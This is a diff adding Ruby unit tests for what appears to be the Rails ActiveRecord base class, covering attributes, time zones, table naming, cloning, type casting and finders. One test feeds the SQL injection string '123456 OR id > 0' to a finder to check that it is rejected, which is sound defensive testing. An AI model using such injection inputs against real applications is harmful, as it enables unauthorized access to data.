+ )
+ end
+ end
+
+ def test_previously_changed
+ topic = Topic.first
+ topic.title = '<3<3<3'
+ assert_equal({}, topic.previous_changes)
+
+ topic.save!
+ expected = ["The First Topic", "<3<3<3"]
+ assert_equal(expected, topic.previous_changes['title'])
+ end
+
+ def test_previously_changed_dup
+ topic = Topic.first
+ topic.title = '<3<3<3'
+ topic.save!
+
+ t2 = topic.dup
+
+ assert_equal(topic.previous_changes, t2.previous_changes)
+
+ topic.title = "lolwut"
+ topic.save!
+
+ assert_not_equal(topic.previous_changes, t2.previous_changes)
+ end
+
+ def test_preserving_time_objects
+ assert_kind_of(
+ Time, Topic.find(1).bonus_time,
+ "The bonus_time attribute should be of the Time class"
+ )
+
+ assert_kind_of(
+ Time, Topic.find(1).written_on,
+ "The written_on attribute should be of the Time class"
+ )
+
+ # For adapters which support microsecond resolution.
+ if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter)
+ assert_equal 11, Topic.find(1).written_on.sec
+ assert_equal 223300, Topic.find(1).written_on.usec
+ assert_equal 9900, Topic.find(2).written_on.usec
+ assert_equal 129346, Topic.find(3).written_on.usec
+ end
+ end
+
+ def test_preserving_time_objects_with_local_time_conversion_to_default_timezone_utc
+ with_env_tz 'America/New_York' do
+ with_active_record_default_timezone :utc do
+ time = Time.local(2000)
+ topic = Topic.create('written_on' => time)
+ saved_time = Topic.find(topic.id).reload.written_on
+ assert_equal time, saved_time
+ assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "EST"], time.to_a
+ assert_equal [0, 0, 5, 1, 1, 2000, 6, 1, false, "UTC"], saved_time.to_a
+ end
+ end
+ end
+
+ def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_utc
+ with_env_tz 'America/New_York' do
+ with_active_record_default_timezone :utc do
+ Time.use_zone 'Central Time (US & Canada)' do
+ time = Time.zone.local(2000)
+ topic = Topic.create('written_on' => time)
+ saved_time = Topic.find(topic.id).reload.written_on
+ assert_equal time, saved_time
+ assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "CST"], time.to_a
+ assert_equal [0, 0, 6, 1, 1, 2000, 6, 1, false, "UTC"], saved_time.to_a
+ end
+ end
+ end
+ end
+
+ def test_preserving_time_objects_with_utc_time_conversion_to_default_timezone_local
+ with_env_tz 'America/New_York' do
+ time = Time.utc(2000)
+ topic = Topic.create('written_on' => time)
+ saved_time = Topic.find(topic.id).reload.written_on
+ assert_equal time, saved_time
+ assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "UTC"], time.to_a
+ assert_equal [0, 0, 19, 31, 12, 1999, 5, 365, false, "EST"], saved_time.to_a
+ end
+ end
+
+ def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_local
+ with_env_tz 'America/New_York' do
+ with_active_record_default_timezone :local do
+ Time.use_zone 'Central Time (US & Canada)' do
+ time = Time.zone.local(2000)
+ topic = Topic.create('written_on' => time)
+ saved_time = Topic.find(topic.id).reload.written_on
+ assert_equal time, saved_time
+ assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "CST"], time.to_a
+ assert_equal [0, 0, 1, 1, 1, 2000, 6, 1, false, "EST"], saved_time.to_a
+ end
+ end
+ end
+ end
+
+ def test_custom_mutator
+ topic = Topic.find(1)
+ # This mutator is protected in the class definition
+ topic.send(:approved=, true)
+ assert topic.instance_variable_get("@custom_approved")
+ end
+
+ def test_initialize_with_attributes
+ topic = Topic.new({
+ "title" => "initialized from attributes", "written_on" => "2003-12-12 23:23"
+ })
+
+ assert_equal("initialized from attributes", topic.title)
+ end
+
+ def test_initialize_with_invalid_attribute
+ Topic.new({ "title" => "test",
+ "last_read(1i)" => "2005", "last_read(2i)" => "2", "last_read(3i)" => "31"})
+ rescue ActiveRecord::MultiparameterAssignmentErrors => ex
+ assert_equal(1, ex.errors.size)
+ assert_equal("last_read", ex.errors[0].attribute)
+ end
+
+ def test_create_after_initialize_without_block
+ cb = CustomBulb.create(:name => 'Dude')
+ assert_equal('Dude', cb.name)
+ assert_equal(true, cb.frickinawesome)
+ end
+
+ def test_create_after_initialize_with_block
+ cb = CustomBulb.create {|c| c.name = 'Dude' }
+ assert_equal('Dude', cb.name)
+ assert_equal(true, cb.frickinawesome)
+ end
+
+ def test_create_after_initialize_with_array_param
+ cbs = CustomBulb.create([{ name: 'Dude' }, { name: 'Bob' }])
+ assert_equal 'Dude', cbs[0].name
+ assert_equal 'Bob', cbs[1].name
+ assert cbs[0].frickinawesome
+ assert !cbs[1].frickinawesome
+ end
+
+ def test_load
+ topics = Topic.all.merge!(:order => 'id').to_a
+ assert_equal(4, topics.size)
+ assert_equal(topics(:first).title, topics.first.title)
+ end
+
+ def test_load_with_condition
+ topics = Topic.all.merge!(:where => "author_name = 'Mary'").to_a
+
+ assert_equal(1, topics.size)
+ assert_equal(topics(:second).title, topics.first.title)
+ end
+
+ GUESSED_CLASSES = [Category, Smarts, CreditCard, CreditCard::PinNumber, CreditCard::PinNumber::CvvCode, CreditCard::SubPinNumber, CreditCard::Brand, MasterCreditCard]
+
+ def test_table_name_guesses
+ assert_equal "topics", Topic.table_name
+
+ assert_equal "categories", Category.table_name
+ assert_equal "smarts", Smarts.table_name
+ assert_equal "credit_cards", CreditCard.table_name
+ assert_equal "credit_card_pin_numbers", CreditCard::PinNumber.table_name
+ assert_equal "credit_card_pin_number_cvv_codes", CreditCard::PinNumber::CvvCode.table_name
+ assert_equal "credit_card_pin_numbers", CreditCard::SubPinNumber.table_name
+ assert_equal "categories", CreditCard::Brand.table_name
+ assert_equal "master_credit_cards", MasterCreditCard.table_name
+ ensure
+ GUESSED_CLASSES.each(&:reset_table_name)
+ end
+
+ def test_singular_table_name_guesses
+ ActiveRecord::Base.pluralize_table_names = false
+ GUESSED_CLASSES.each(&:reset_table_name)
+
+ assert_equal "category", Category.table_name
+ assert_equal "smarts", Smarts.table_name
+ assert_equal "credit_card", CreditCard.table_name
+ assert_equal "credit_card_pin_number", CreditCard::PinNumber.table_name
+ assert_equal "credit_card_pin_number_cvv_code", CreditCard::PinNumber::CvvCode.table_name
+ assert_equal "credit_card_pin_number", CreditCard::SubPinNumber.table_name
+ assert_equal "category", CreditCard::Brand.table_name
+ assert_equal "master_credit_card", MasterCreditCard.table_name
+ ensure
+ ActiveRecord::Base.pluralize_table_names = true
+ GUESSED_CLASSES.each(&:reset_table_name)
+ end
+
+ def test_table_name_guesses_with_prefixes_and_suffixes
+ ActiveRecord::Base.table_name_prefix = "test_"
+ Category.reset_table_name
+ assert_equal "test_categories", Category.table_name
+ ActiveRecord::Base.table_name_suffix = "_test"
+ Category.reset_table_name
+ assert_equal "test_categories_test", Category.table_name
+ ActiveRecord::Base.table_name_prefix = ""
+ Category.reset_table_name
+ assert_equal "categories_test", Category.table_name
+ ActiveRecord::Base.table_name_suffix = ""
+ Category.reset_table_name
+ assert_equal "categories", Category.table_name
+ ensure
+ ActiveRecord::Base.table_name_prefix = ""
+ ActiveRecord::Base.table_name_suffix = ""
+ GUESSED_CLASSES.each(&:reset_table_name)
+ end
+
+ def test_singular_table_name_guesses_with_prefixes_and_suffixes
+ ActiveRecord::Base.pluralize_table_names = false
+
+ ActiveRecord::Base.table_name_prefix = "test_"
+ Category.reset_table_name
+ assert_equal "test_category", Category.table_name
+ ActiveRecord::Base.table_name_suffix = "_test"
+ Category.reset_table_name
+ assert_equal "test_category_test", Category.table_name
+ ActiveRecord::Base.table_name_prefix = ""
+ Category.reset_table_name
+ assert_equal "category_test", Category.table_name
+ ActiveRecord::Base.table_name_suffix = ""
+ Category.reset_table_name
+ assert_equal "category", Category.table_name
+ ensure
+ ActiveRecord::Base.pluralize_table_names = true
+ ActiveRecord::Base.table_name_prefix = ""
+ ActiveRecord::Base.table_name_suffix = ""
+ GUESSED_CLASSES.each(&:reset_table_name)
+ end
+
+ def test_table_name_guesses_with_inherited_prefixes_and_suffixes
+ GUESSED_CLASSES.each(&:reset_table_name)
+
+ CreditCard.table_name_prefix = "test_"
+ CreditCard.reset_table_name
+ Category.reset_table_name
+ assert_equal "test_credit_cards", CreditCard.table_name
+ assert_equal "categories", Category.table_name
+ CreditCard.table_name_suffix = "_test"
+ CreditCard.reset_table_name
+ Category.reset_table_name
+ assert_equal "test_credit_cards_test", CreditCard.table_name
+ assert_equal "categories", Category.table_name
+ CreditCard.table_name_prefix = ""
+ CreditCard.reset_table_name
+ Category.reset_table_name
+ assert_equal "credit_cards_test", CreditCard.table_name
+ assert_equal "categories", Category.table_name
+ CreditCard.table_name_suffix = ""
+ CreditCard.reset_table_name
+ Category.reset_table_name
+ assert_equal "credit_cards", CreditCard.table_name
+ assert_equal "categories", Category.table_name
+ ensure
+ CreditCard.table_name_prefix = ""
+ CreditCard.table_name_suffix = ""
+ GUESSED_CLASSES.each(&:reset_table_name)
+ end
+
+ def test_singular_table_name_guesses_for_individual_table
+ Post.pluralize_table_names = false
+ Post.reset_table_name
+ assert_equal "post", Post.table_name
+ assert_equal "categories", Category.table_name
+ ensure
+ Post.pluralize_table_names = true
+ Post.reset_table_name
+ end
+
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ def test_update_all_with_order_and_limit
+ assert_equal 1, Topic.limit(1).order('id DESC').update_all(:content => 'bulk updated!')
+ end
+ end
+
+ def test_null_fields
+ assert_nil Topic.find(1).parent_id
+ assert_nil Topic.create("title" => "Hey you").parent_id
+ end
+
+ def test_default_values
+ topic = Topic.new
+ assert topic.approved?
+ assert_nil topic.written_on
+ assert_nil topic.bonus_time
+ assert_nil topic.last_read
+
+ topic.save
+
+ topic = Topic.find(topic.id)
+ assert topic.approved?
+ assert_nil topic.last_read
+
+ # Oracle has some funky default handling, so it requires a bit of
+ # extra testing. See ticket #2788.
+ if current_adapter?(:OracleAdapter)
+ test = TestOracleDefault.new
+ assert_equal "X", test.test_char
+ assert_equal "hello", test.test_string
+ assert_equal 3, test.test_int
+ end
+ end
+
+ # Oracle, and Sybase do not have a TIME datatype.
+ unless current_adapter?(:OracleAdapter, :SybaseAdapter)
+ def test_utc_as_time_zone
+ Topic.default_timezone = :utc
+ attributes = { "bonus_time" => "5:42:00AM" }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
+ Topic.default_timezone = :local
+ end
+
+ def test_utc_as_time_zone_and_new
+ Topic.default_timezone = :utc
+ attributes = { "bonus_time(1i)"=>"2000",
+ "bonus_time(2i)"=>"1",
+ "bonus_time(3i)"=>"1",
+ "bonus_time(4i)"=>"10",
+ "bonus_time(5i)"=>"35",
+ "bonus_time(6i)"=>"50" }
+ topic = Topic.new(attributes)
+ assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
+ Topic.default_timezone = :local
+ end
+ end
+
+ def test_default_values_on_empty_strings
+ topic = Topic.new
+ topic.approved = nil
+ topic.last_read = nil
+
+ topic.save
+
+ topic = Topic.find(topic.id)
+ assert_nil topic.last_read
+
+ # Sybase adapter does not allow nulls in boolean columns
+ if current_adapter?(:SybaseAdapter)
+ assert topic.approved == false
+ else
+ assert_nil topic.approved
+ end
+ end
+
+ def test_equality
+ assert_equal Topic.find(1), Topic.find(2).topic
+ end
+
+ def test_find_by_slug
+ assert_equal Topic.find('1-meowmeow'), Topic.find(1)
+ end
+
+ def test_equality_of_new_records
+ assert_not_equal Topic.new, Topic.new
+ end
+
+ def test_equality_of_destroyed_records
+ topic_1 = Topic.new(:title => 'test_1')
+ topic_1.save
+ topic_2 = Topic.find(topic_1.id)
+ topic_1.destroy
+ assert_equal topic_1, topic_2
+ assert_equal topic_2, topic_1
+ end
+
+ def test_hashing
+ assert_equal [ Topic.find(1) ], [ Topic.find(2).topic ] & [ Topic.find(1) ]
+ end
+
+ def test_comparison
+ topic_1 = Topic.create!
+ topic_2 = Topic.create!
+
+ assert_equal [topic_2, topic_1].sort, [topic_1, topic_2]
+ end
+
+ def test_comparison_with_different_objects
+ topic = Topic.create
+ category = Category.create(:name => "comparison")
+ assert_nil topic <=> category
+ end
+
+ def test_readonly_attributes
+ assert_equal Set.new([ 'title' , 'comments_count' ]), ReadonlyTitlePost.readonly_attributes
+
+ post = ReadonlyTitlePost.create(:title => "cannot change this", :body => "changeable")
+ post.reload
+ assert_equal "cannot change this", post.title
+
+ post.update(title: "try to change", body: "changed")
+ post.reload
+ assert_equal "cannot change this", post.title
+ assert_equal "changed", post.body
+ end
+
+ def test_attr_readonly_is_class_level_setting
+ post = ReadonlyTitlePost.new
+ assert_raise(NoMethodError) { post._attr_readonly = [:title] }
+ assert_deprecated { post._attr_readonly }
+ end
+
+ def test_non_valid_identifier_column_name
+ weird = Weird.create('a$b' => 'value')
+ weird.reload
+ assert_equal 'value', weird.send('a$b')
+ assert_equal 'value', weird.read_attribute('a$b')
+
+ weird.update_columns('a$b' => 'value2')
+ weird.reload
+ assert_equal 'value2', weird.send('a$b')
+ assert_equal 'value2', weird.read_attribute('a$b')
+ end
+
+ def test_group_weirds_by_from
+ Weird.create('a$b' => 'value', :from => 'aaron')
+ count = Weird.group(Weird.arel_table[:from]).count
+ assert_equal 1, count['aaron']
+ end
+
+ def test_attributes_on_dummy_time
+ # Oracle, and Sybase do not have a TIME datatype.
+ return true if current_adapter?(:OracleAdapter, :SybaseAdapter)
+
+ attributes = {
+ "bonus_time" => "5:42:00AM"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+ end
+
+ def test_attributes_on_dummy_time_with_invalid_time
+ # Oracle, and Sybase do not have a TIME datatype.
+ return true if current_adapter?(:OracleAdapter, :SybaseAdapter)
+
+ attributes = {
+ "bonus_time" => "not a time"
+ }
+ topic = Topic.find(1)
+ topic.attributes = attributes
+ assert_nil topic.bonus_time
+ end
+
+ def test_boolean
+ b_nil = Boolean.create({ "value" => nil })
+ nil_id = b_nil.id
+ b_false = Boolean.create({ "value" => false })
+ false_id = b_false.id
+ b_true = Boolean.create({ "value" => true })
+ true_id = b_true.id
+
+ b_nil = Boolean.find(nil_id)
+ assert_nil b_nil.value
+ b_false = Boolean.find(false_id)
+ assert !b_false.value?
+ b_true = Boolean.find(true_id)
+ assert b_true.value?
+ end
+
+ def test_boolean_without_questionmark
+ b_true = Boolean.create({ "value" => true })
+ true_id = b_true.id
+
+ subclass = Class.new(Boolean).find true_id
+ superclass = Boolean.find true_id
+
+ assert_equal superclass.read_attribute(:has_fun), subclass.read_attribute(:has_fun)
+ end
+
+ def test_boolean_cast_from_string
+ b_blank = Boolean.create({ "value" => "" })
+ blank_id = b_blank.id
+ b_false = Boolean.create({ "value" => "0" })
+ false_id = b_false.id
+ b_true = Boolean.create({ "value" => "1" })
+ true_id = b_true.id
+
+ b_blank = Boolean.find(blank_id)
+ assert_nil b_blank.value
+ b_false = Boolean.find(false_id)
+ assert !b_false.value?
+ b_true = Boolean.find(true_id)
+ assert b_true.value?
+ end
+
+ def test_new_record_returns_boolean
+ assert_equal false, Topic.new.persisted?
+ assert_equal true, Topic.find(1).persisted?
+ end
+
+ def test_dup
+ topic = Topic.find(1)
+ duped_topic = nil
+ assert_nothing_raised { duped_topic = topic.dup }
+ assert_equal topic.title, duped_topic.title
+ assert !duped_topic.persisted?
+
+ # test if the attributes have been duped
+ topic.title = "a"
+ duped_topic.title = "b"
+ assert_equal "a", topic.title
+ assert_equal "b", duped_topic.title
+
+ # test if the attribute values have been duped
+ duped_topic = topic.dup
+ duped_topic.title.replace "c"
+ assert_equal "a", topic.title
+
+ # test if attributes set as part of after_initialize are duped correctly
+ assert_equal topic.author_email_address, duped_topic.author_email_address
+
+ # test if saved clone object differs from original
+ duped_topic.save
+ assert duped_topic.persisted?
+ assert_not_equal duped_topic.id, topic.id
+
+ duped_topic.reload
+ assert_equal("c", duped_topic.title)
+ end
+
+ def test_dup_with_aggregate_of_same_name_as_attribute
+ dev = DeveloperWithAggregate.find(1)
+ assert_kind_of DeveloperSalary, dev.salary
+
+ dup = nil
+ assert_nothing_raised { dup = dev.dup }
+ assert_kind_of DeveloperSalary, dup.salary
+ assert_equal dev.salary.amount, dup.salary.amount
+ assert !dup.persisted?
+
+ # test if the attributes have been dupd
+ original_amount = dup.salary.amount
+ dev.salary.amount = 1
+ assert_equal original_amount, dup.salary.amount
+
+ assert dup.save
+ assert dup.persisted?
+ assert_not_equal dup.id, dev.id
+ end
+
+ def test_dup_does_not_copy_associations
+ author = authors(:david)
+ assert_not_equal [], author.posts
+ author.send(:clear_association_cache)
+
+ author_dup = author.dup
+ assert_equal [], author_dup.posts
+ end
+
+ def test_clone_preserves_subtype
+ clone = nil
+ assert_nothing_raised { clone = Company.find(3).clone }
+ assert_kind_of Client, clone
+ end
+
+ def test_clone_of_new_object_with_defaults
+ developer = Developer.new
+ assert !developer.name_changed?
+ assert !developer.salary_changed?
+
+ cloned_developer = developer.clone
+ assert !cloned_developer.name_changed?
+ assert !cloned_developer.salary_changed?
+ end
+
+ def test_clone_of_new_object_marks_attributes_as_dirty
+ developer = Developer.new :name => 'Bjorn', :salary => 100000
+ assert developer.name_changed?
+ assert developer.salary_changed?
+
+ cloned_developer = developer.clone
+ assert cloned_developer.name_changed?
+ assert cloned_developer.salary_changed?
+ end
+
+ def test_clone_of_new_object_marks_as_dirty_only_changed_attributes
+ developer = Developer.new :name => 'Bjorn'
+ assert developer.name_changed? # obviously
+ assert !developer.salary_changed? # attribute has non-nil default value, so treated as not changed
+
+ cloned_developer = developer.clone
+ assert cloned_developer.name_changed?
+ assert !cloned_developer.salary_changed? # ... and cloned instance should behave same
+ end
+
+ def test_dup_of_saved_object_marks_attributes_as_dirty
+ developer = Developer.create! :name => 'Bjorn', :salary => 100000
+ assert !developer.name_changed?
+ assert !developer.salary_changed?
+
+ cloned_developer = developer.dup
+ assert cloned_developer.name_changed? # both attributes differ from defaults
+ assert cloned_developer.salary_changed?
+ end
+
+ def test_dup_of_saved_object_marks_as_dirty_only_changed_attributes
+ developer = Developer.create! :name => 'Bjorn'
+ assert !developer.name_changed? # both attributes of saved object should be treated as not changed
+ assert !developer.salary_changed?
+
+ cloned_developer = developer.dup
+ assert cloned_developer.name_changed? # ... but on cloned object should be
+ assert !cloned_developer.salary_changed? # ... BUT salary has non-nil default which should be treated as not changed on cloned instance
+ end
+
+ def test_bignum
+ company = Company.find(1)
+ company.rating = 2147483647
+ company.save
+ company = Company.find(1)
+ assert_equal 2147483647, company.rating
+ end
+
+ # TODO: extend defaults tests to other databases!
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_default
+ tz = Default.default_timezone
+ Default.default_timezone = :local
+ default = Default.new
+ Default.default_timezone = tz
+
+ # fixed dates / times
+ assert_equal Date.new(2004, 1, 1), default.fixed_date
+ assert_equal Time.local(2004, 1,1,0,0,0,0), default.fixed_time
+
+ # char types
+ assert_equal 'Y', default.char1
+ assert_equal 'a varchar field', default.char2
+ assert_equal 'a text field', default.char3
+ end
+
+ class Geometric < ActiveRecord::Base; end
+ def test_geometric_content
+
+ # accepted format notes:
+ # ()'s aren't required
+ # values can be a mix of float or integer
+
+ g = Geometric.new(
+ :a_point => '(5.0, 6.1)',
+ #:a_line => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
+ :a_line_segment => '(2.0, 3), (5.5, 7.0)',
+ :a_box => '2.0, 3, 5.5, 7.0',
+ :a_path => '[(2.0, 3), (5.5, 7.0), (8.5, 11.0)]', # [ ] is an open path
+ :a_polygon => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',
+ :a_circle => '<(5.3, 10.4), 2>'
+ )
+
+ assert g.save
+
+ # Reload and check that we have all the geometric attributes.
+ h = Geometric.find(g.id)
+
+ assert_equal [5.0, 6.1], h.a_point
+ assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
+ assert_equal '(5.5,7),(2,3)', h.a_box # reordered to store upper right corner then bottom left corner
+ assert_equal '[(2,3),(5.5,7),(8.5,11)]', h.a_path
+ assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
+ assert_equal '<(5.3,10.4),2>', h.a_circle
+
+ # use a geometric function to test for an open path
+ objs = Geometric.find_by_sql ["select isopen(a_path) from geometrics where id = ?", g.id]
+
+ assert_equal true, objs[0].isopen
+
+ # test alternate formats when defining the geometric types
+
+ g = Geometric.new(
+ :a_point => '5.0, 6.1',
+ #:a_line => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
+ :a_line_segment => '((2.0, 3), (5.5, 7.0))',
+ :a_box => '(2.0, 3), (5.5, 7.0)',
+ :a_path => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))', # ( ) is a closed path
+ :a_polygon => '2.0, 3, 5.5, 7.0, 8.5, 11.0',
+ :a_circle => '((5.3, 10.4), 2)'
+ )
+
+ assert g.save
+
+ # Reload and check that we have all the geometric attributes.
+ h = Geometric.find(g.id)
+
+ assert_equal [5.0, 6.1], h.a_point
+ assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
+ assert_equal '(5.5,7),(2,3)', h.a_box # reordered to store upper right corner then bottom left corner
+ assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_path
+ assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
+ assert_equal '<(5.3,10.4),2>', h.a_circle
+
+ # use a geometric function to test for an closed path
+ objs = Geometric.find_by_sql ["select isclosed(a_path) from geometrics where id = ?", g.id]
+
+ assert_equal true, objs[0].isclosed
+
+ # test native ruby formats when defining the geometric types
+ g = Geometric.new(
+ :a_point => [5.0, 6.1],
+ #:a_line => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
+ :a_line_segment => '((2.0, 3), (5.5, 7.0))',
+ :a_box => '(2.0, 3), (5.5, 7.0)',
+ :a_path => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))', # ( ) is a closed path
+ :a_polygon => '2.0, 3, 5.5, 7.0, 8.5, 11.0',
+ :a_circle => '((5.3, 10.4), 2)'
+ )
+
+ assert g.save
+
+ # Reload and check that we have all the geometric attributes.
+ h = Geometric.find(g.id)
+
+ assert_equal [5.0, 6.1], h.a_point
+ assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
+ assert_equal '(5.5,7),(2,3)', h.a_box # reordered to store upper right corner then bottom left corner
+ assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_path
+ assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
+ assert_equal '<(5.3,10.4),2>', h.a_circle
+ end
+ end
+
+ class NumericData < ActiveRecord::Base
+ self.table_name = 'numeric_data'
+ end
+
+ def test_big_decimal_conditions
+ m = NumericData.new(
+ :bank_balance => 1586.43,
+ :big_bank_balance => BigDecimal("1000234000567.95"),
+ :world_population => 6000000000,
+ :my_house_population => 3
+ )
+ assert m.save
+ assert_equal 0, NumericData.where("bank_balance > ?", 2000.0).count
+ end
+
+ def test_numeric_fields
+ m = NumericData.new(
+ :bank_balance => 1586.43,
+ :big_bank_balance => BigDecimal("1000234000567.95"),
+ :world_population => 6000000000,
+ :my_house_population => 3
+ )
+ assert m.save
+
+ m1 = NumericData.find(m.id)
+ assert_not_nil m1
+
+ # As with migration_test.rb, we should make world_population >= 2**62
+ # to cover 64-bit platforms and test it is a Bignum, but the main thing
+ # is that it's an Integer.
+ assert_kind_of Integer, m1.world_population
+ assert_equal 6000000000, m1.world_population
+
+ assert_kind_of Fixnum, m1.my_house_population
+ assert_equal 3, m1.my_house_population
+
+ assert_kind_of BigDecimal, m1.bank_balance
+ assert_equal BigDecimal("1586.43"), m1.bank_balance
+
+ assert_kind_of BigDecimal, m1.big_bank_balance
+ assert_equal BigDecimal("1000234000567.95"), m1.big_bank_balance
+ end
+
+ def test_auto_id
+ auto = AutoId.new
+ auto.save
+ assert(auto.id > 0)
+ end
+
+ def test_sql_injection_via_find
+ assert_raise(ActiveRecord::RecordNotFound, ActiveRecord::StatementInvalid) do
+ Topic.find("123456 OR id > 0")
+ end
+ end
+
+ def test_column_name_properly_quoted
+ col_record = ColumnName.new
+ col_record.references = 40
+ assert col_record.save
+ col_record.references = 41
+ assert col_record.save
+ assert_not_nil c2 = ColumnName.find(col_record.id)
+ assert_equal(41, c2.references)
+ end
+
+ def test_quoting_arrays
+ replies = Reply.all.merge!(:where => [ "id IN (?)", topics(:first).replies.collect(&:id) ]).to_a
+ assert_equal topics(:first).replies.size, replies.size
+
+ replies = Reply.all.merge!(:where => [ "id IN (?)", [] ]).to_a
+ assert_equal 0, replies.size
+ end
+
+ def test_quote
+ author_name = "\\ \001 ' \n \\n \""
+ topic = Topic.create('author_name' => author_name)
+ assert_equal author_name, Topic.find(topic.id).author_name
+ end
+
+ def test_toggle_attribute
+ assert !topics(:first).approved?
+ topics(:first).toggle!(:approved)
+ assert topics(:first).approved?
+ topic = topics(:first)
+ topic.toggle(:approved)
+ assert !topic.approved?
+ topic.reload
+ assert topic.approved?
+ end
+
+ def test_reload
+ t1 = Topic.find(1)
+ t2 = Topic.find(1)
+ t1.title = "something else"
+ t1.save
+ t2.reload
+ assert_equal t1.title, t2.title
+ end
+
+ def test_reload_with_exclusive_scope
+ dev = DeveloperCalledDavid.first
+ dev.update!(name: "NotDavid" )
+ assert_equal dev, dev.reload
+ end
+
+ def test_switching_between_table_name
+ assert_difference("GoodJoke.count") do
+ Joke.table_name = "cold_jokes"
+ Joke.create
+
+ Joke.table_name = "funny_jokes"
+ Joke.create
+ end
+ end
+
+ def test_clear_cash_when_setting_table_name
+ Joke.table_name = "cold_jokes"
+ before_columns = Joke.columns
+ before_seq = Joke.sequence_name
+
+ Joke.table_name = "funny_jokes"
+ after_columns = Joke.columns
+ after_seq = Joke.sequence_name
+
+ assert_not_equal before_columns, after_columns
+ assert_not_equal before_seq, after_seq unless before_seq.nil? && after_seq.nil?
+ end
+
+ def test_dont_clear_sequence_name_when_setting_explicitly
+ Joke.sequence_name = "black_jokes_seq"
+ Joke.table_name = "cold_jokes"
+ before_seq = Joke.sequence_name
+
+ Joke.table_name = "funny_jokes"
+ after_seq = Joke.sequence_name
+
+ assert_equal before_seq, after_seq unless before_seq.nil? && after_seq.nil?
+ ensure
+ Joke.reset_sequence_name
+ end
+
+ def test_dont_clear_inheritance_column_when_setting_explicitly
+ Joke.inheritance_column = "my_type"
+ before_inherit = Joke.inheritance_column
+
+ Joke.reset_column_information
+ after_inherit = Joke.inheritance_column
+
+ assert_equal before_inherit, after_inherit unless before_inherit.blank? && after_inherit.blank?
+ end
+
+ def test_set_table_name_symbol_converted_to_string
+ Joke.table_name = :cold_jokes
+ assert_equal 'cold_jokes', Joke.table_name
+ end
+
+ def test_quoted_table_name_after_set_table_name
+ klass = Class.new(ActiveRecord::Base)
+
+ klass.table_name = "foo"
+ assert_equal "foo", klass.table_name
+ assert_equal klass.connection.quote_table_name("foo"), klass.quoted_table_name
+
+ klass.table_name = "bar"
+ assert_equal "bar", klass.table_name
+ assert_equal klass.connection.quote_table_name("bar"), klass.quoted_table_name
+ end
+
+ def test_set_table_name_with_inheritance
+ k = Class.new( ActiveRecord::Base )
+ def k.name; "Foo"; end
+ def k.table_name; super + "ks"; end
+ assert_equal "foosks", k.table_name
+ end
+
+ def test_sequence_name_with_abstract_class
+ ak = Class.new(ActiveRecord::Base)
+ ak.abstract_class = true
+ k = Class.new(ak)
+ k.table_name = "projects"
+ orig_name = k.sequence_name
+ return skip "sequences not supported by db" unless orig_name
+ assert_equal k.reset_sequence_name, orig_name
+ end
+
+ def test_count_with_join
+ res = Post.count_by_sql "SELECT COUNT(*) FROM posts LEFT JOIN comments ON posts.id=comments.post_id WHERE posts.#{QUOTED_TYPE} = 'Post'"
+
+ res2 = Post.where("posts.#{QUOTED_TYPE} = 'Post'").joins("LEFT JOIN comments ON posts.id=comments.post_id").count
+ assert_equal res, res2
+
+ res3 = nil
+ assert_nothing_raised do
+ res3 = Post.where("posts.#{QUOTED_TYPE} = 'Post'").joins("LEFT JOIN comments ON posts.id=comments.post_id").count
+ end
+ assert_equal res, res3
+
+ res4 = Post.count_by_sql "SELECT COUNT(p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
+ res5 = nil
+ assert_nothing_raised do
+ res5 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").count
+ end
+
+ assert_equal res4, res5
+
+ res6 = Post.count_by_sql "SELECT COUNT(DISTINCT p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
+ res7 = nil
+ assert_nothing_raised do
+ res7 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").distinct.count
+ end
+ assert_equal res6, res7
+ end
+
+ def test_no_limit_offset
+ assert_nothing_raised do
+ Developer.all.merge!(:offset => 2).to_a
+ end
+ end
+
+ def test_find_last
+ last = Developer.last
+ assert_equal last, Developer.all.merge!(:order => 'id desc').first
+ end
+
+ def test_last
+ assert_equal Developer.all.merge!(:order => 'id desc').first, Developer.last
+ end
+
+ def test_all
+ developers = Developer.all
+ assert_kind_of ActiveRecord::Relation, developers
+ assert_equal Developer.all, developers
+ end
+
+ def test_all_with_conditions
+ assert_equal Developer.all.merge!(:order => 'id desc').to_a, Developer.order('id desc').to_a
+ end
+
+ def test_find_ordered_last
+ last = Developer.all.merge!(:order => 'developers.salary ASC').last
+ assert_equal last, Developer.all.merge!(:order => 'developers.salary ASC').to_a.last
+ end
+
+ def test_find_reverse_ordered_last
+ last = Developer.all.merge!(:order => 'developers.salary DESC').last
+ assert_equal last, Developer.all.merge!(:order => 'developers.salary DESC').to_a.last
+ end
+
